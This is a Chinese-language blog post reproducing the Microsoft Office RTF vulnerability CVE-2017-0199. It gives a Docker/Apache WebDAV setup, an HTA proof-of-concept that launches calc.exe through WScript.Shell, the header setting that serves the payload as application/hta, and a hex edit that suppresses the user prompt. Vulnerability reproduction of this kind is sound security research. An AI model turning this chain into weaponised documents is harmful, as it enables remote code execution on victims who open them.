CVE-2017-0199漏洞复现 2017-04-20 #office #rtf漏洞 #cve-2017-0199
CVE-2017-0199是首个Microsoft Office RTF漏洞,漏洞发布日期为2017年4月11日。受影响系统包括:
- Microsoft Office 2016
- Microsoft Office 2013
- Microsoft Office 2010
- Microsoft Office 2007
当用户打开包含嵌入式漏洞的文档时,此漏洞允许恶意攻击者下载并执行包含PowerShell命令的Visual Basic脚本。
微软官方对该漏洞的通告:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0199
漏洞复现
首先我们需要一个apache服务器、一个POC、一个Word。
apache
apache需要开启DAV支持,为了方便。
这里我使用了docker来搭建,写了如下Dockerfile:
FROM ubuntu:14.04
MAINTAINER 王松_Striker
RUN sed -i ‘s/archive.ubuntu.com/mirrors.ustc.edu.cn/g’ /etc/apt/sources.list
RUN apt-get update -y && apt-get install -y apache2
RUN a2enmod dav \
&& a2enmod dav_fs \
&& a2enmod dav_lock \
&& a2enmod headers
RUN service apache2 restart
EXPOSE 80
COPY start.sh /start.sh
RUN chmod +x start.sh
CMD ["/start.sh"]
其中start.sh的内容为:
#!/bin/bash
service apache2 start
tail -f /var/log/apache2/access.log
然后构建该镜像:
docker build -t cve-2017-0199 .
运行容器:
docker run -d -p 8881:80 cve-2017-0199
本地打开,如果出现如下页面表示搭建成功:
POC
a=new ActiveXObject("WScript.Shell");
a.run('%windir%\\System32\\cmd.exe /c calc.exe', 0);window.close();
Word
新建一个Word,名为:test.docx
内容任意,我这里使用Hi, Striker
复现过程
首先在apache目录下建立test目录,我们需要进入docker容器中并返回一个交互shell,方便后续操作:
docker exec -it 容器ID /bin/bash
然后在交互shell中执行:
mkdir /var/www/html/test/
然后我们把test.docx
复制到test
目录下:
新建一个shell窗口执行:
docker cp `pwd`/test.docx 容器ID:/var/www/html/test/
然后在把test.docx
命名为test.rtf
:
cd /var/www/html/test/
mv test.docx test.rtf
然后新建一个word就叫mypoc.docx
吧。
分别点击插入 -> 对象 -> 由文件创建 -> 链接到文件
,然后输入rtf的网址。
然后把mypoc.docx
另存为exp.rtf
。
现在我们可以删掉apache上的test.rtf
,然后写入POC或直接替换掉test.rtf
:
echo "
a=new ActiveXObject("WScript.Shell");
a.run('%windir%\\System32\\cmd.exe /c calc.exe', 0);window.close();
" > test.rtf
此时我们需要修改apache的配置:
vi /etc/apache2/apache2.conf
需要添加的内容如下:
<Directory />
Dav on
</Directory>
<Directory /var/www/html/test/>
Header set Content-Type "application/hta"
</Directory>
效果如图:
然后重启服务器:
service apache2 restart
此时打开我们的exp.rtf
点击“是”,将会弹出计算器:
当然这个提示也是可以取消掉的。
我们用winhex
打开exp.rtf
将\object\objautlink\rsltpict
修改为\object\objautlink\objupdate\rsltpict
:
文章首发于Web安全与前端
公众号,欢迎关注.